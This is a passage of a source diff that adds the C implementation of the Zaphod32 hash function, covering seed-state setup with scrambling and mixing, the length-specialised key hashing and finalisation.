+ U8 *state_ch
+) {
+ const U32 *seed= (const U32 *)seed_ch;
+ U32 *state= (U32 *)state_ch;
+
+ /* hex expansion of pi, skipping first two digits. pi= 3.2[43f6...]*/
+ /* pi value in hex from here:
+ * http://turner.faculty.swau.edu/mathematics/materialslibrary/pi/pibases.html*/
+ /* Ensure that the three state vectors are nonzero regardless of the seed. */
+ /* The idea of these two steps is to ensure that the 0 state comes from a seed
+ * utterly unlike that of the value we replace it with.*/
+ state[0]= seed[0] ^ 0x43f6a888;
+ state[1]= seed[1] ^ 0x5a308d31;
+ state[2]= seed[2] ^ 0x3198a2e0;
+ if (!state[0]) state[0] = 1;
+ if (!state[1]) state[1] = 2;
+ if (!state[2]) state[2] = 4;
+ /* these are pseduo-randomly selected primes between 2**31 and 2**32
+ * (I generated a big list and then randomly chose some from the list) */
+ ZAPHOD32_SCRAMBLE32(state[0],0x9fade23b);
+ ZAPHOD32_SCRAMBLE32(state[1],0xaa6f908d);
+ ZAPHOD32_SCRAMBLE32(state[2],0xcdf6b72d);
+
+ /* now that we have scrambled we do some mixing to avalanche the
+ * state bits to gether */
+ ZAPHOD32_MIX(state[0],state[1],state[2],"ZAPHOD32 SEED-STATE A 1/4");
+ ZAPHOD32_MIX(state[0],state[1],state[2],"ZAPHOD32 SEED-STATE A 2/4");
+ ZAPHOD32_MIX(state[0],state[1],state[2],"ZAPHOD32 SEED-STATE A 3/4");
+ ZAPHOD32_MIX(state[0],state[1],state[2],"ZAPHOD32 SEED-STATE A 4/4");
+
+ /* and then scramble them again with different primes */
+ ZAPHOD32_SCRAMBLE32(state[0],0xc95d22a9);
+ ZAPHOD32_SCRAMBLE32(state[1],0x8497242b);
+ ZAPHOD32_SCRAMBLE32(state[2],0x9c5cc4e9);
+
+ /* and a thorough final mix */
+ ZAPHOD32_MIX(state[0],state[1],state[2],"ZAPHOD32 SEED-STATE B 1/5");
+ ZAPHOD32_MIX(state[0],state[1],state[2],"ZAPHOD32 SEED-STATE B 2/5");
+ ZAPHOD32_MIX(state[0],state[1],state[2],"ZAPHOD32 SEED-STATE B 3/5");
+ ZAPHOD32_MIX(state[0],state[1],state[2],"ZAPHOD32 SEED-STATE B 4/5");
+ ZAPHOD32_MIX(state[0],state[1],state[2],"ZAPHOD32 SEED-STATE B 5/5");
+
+}
+
+ZAPHOD32_STATIC_INLINE
+U32 zaphod32_hash_with_state(
+ const U8 *state_ch,
+ const U8 *key,
+ const STRLEN key_len
+) {
+ U32 *state= (U32 *)state_ch;
+ const U8 *end;
+ STRLEN len = key_len;
+ U32 v0= state[0];
+ U32 v1= state[1];
+ U32 v2= state[2] ^ (0xC41A7AB1 * ((U32)key_len + 1));
+
+ ZAPHOD32_WARN4("v0=%08x v1=%08x v2=%08x ln=%08x HASH START\n",
+ (unsigned int)state[0], (unsigned int)state[1],
+ (unsigned int)state[2], (unsigned int)key_len);
+ {
+ switch (len) {
+ default: goto zaphod32_read8;
+ case 12: v2 += (U32)key[11] << 24; /* FALLTHROUGH */
+ case 11: v2 += (U32)key[10] << 16; /* FALLTHROUGH */
+ case 10: v2 += (U32)U8TO16_LE(key+8);
+ v1 -= U8TO32_LE(key+4);
+ v0 += U8TO32_LE(key+0);
+ goto zaphod32_finalize;
+ case 9: v2 += (U32)key[8]; /* FALLTHROUGH */
+ case 8: v1 -= U8TO32_LE(key+4);
+ v0 += U8TO32_LE(key+0);
+ goto zaphod32_finalize;
+ case 7: v2 += (U32)key[6]; /* FALLTHROUGH */
+ case 6: v0 += (U32)U8TO16_LE(key+4);
+ v1 -= U8TO32_LE(key+0);
+ goto zaphod32_finalize;
+ case 5: v0 += (U32)key[4]; /* FALLTHROUGH */
+ case 4: v1 -= U8TO32_LE(key+0);
+ goto zaphod32_finalize;
+ case 3: v2 += (U32)key[2]; /* FALLTHROUGH */
+ case 2: v0 += (U32)U8TO16_LE(key);
+ break;
+ case 1: v0 += (U32)key[0];
+ break;
+ case 0: v2 ^= 0xFF;
+ break;
+
+ }
+ v0 -= v2;
+ v2 = ROTL32(v2, 8) ^ v0;
+ v0 = ROTR32(v0,16) + v2;
+ v2 += v0;
+ v0 += v0 >> 9;
+ v0 += v2;
+ v2 ^= v0;
+ v2 += v2 << 4;
+ v0 -= v2;
+ v2 = ROTR32(v2, 8) ^ v0;
+ v0 = ROTL32(v0,16) ^ v2;
+ v2 = ROTL32(v2,10) + v0;
+ v0 = ROTR32(v0,30) + v2;
+ v2 = ROTR32(v2,12);
+ return v0 ^ v2;
+ }
+
+/* if (len >= 8) */ /* this block is only reached by a goto above, so this condition
+ is commented out, but if the above block is removed it would
+ be necessary to use this. */
+ {
+zaphod32_read8:
+ len = key_len & 0x7;
+ end = key + key_len - len;
+ do {
+ v1 -= U8TO32_LE(key+0);
+ v0 += U8TO32_LE(key+4);
+ ZAPHOD32_MIX(v0,v1,v2,"MIX 2-WORDS A");
+ key += 8;
+ } while ( key < end );
+ }
+
+ if ( len >= 4 ) {
+ v1 -= U8TO32_LE(key);
+ key += 4;
+ }
+
+ v0 += (U32)(key_len) << 24;
+ switch (len & 0x3) {
+ case 3: v2 += (U32)key[2]; /* FALLTHROUGH */
+ case 2: v0 += (U32)U8TO16_LE(key);
+ break;
+ case 1: v0 += (U32)key[0];
+ break;
+ case 0: v2 ^= 0xFF;
+ break;
+ }
+zaphod32_finalize:
+ ZAPHOD32_FINALIZE(v0,v1,v2);
+
+ ZAPHOD32_WARN4("v0=%08x v1=%08x v2=%08x hh=%08x - FINAL\n\n",
+ (unsigned int)v0, (unsigned int)v1, (unsigned int)v2,
+ (unsigned int)v0 ^ v1 ^ v2);
+
+ return v0 ^ v1 ^ v2;
+}
+
+ZAPHOD32_STATIC_INLINE U32 zaphod32_hash(
+ const U8 *seed_ch,
+ const U8 *key,
+ const STRLEN key_len
+) {
+ U32 state[3];
+ zaphod32_seed_state(seed_ch,(U8*)state);
+ return zaphod32_hash_with_state((U8*)state,key,key_len);
+}
+
+#endif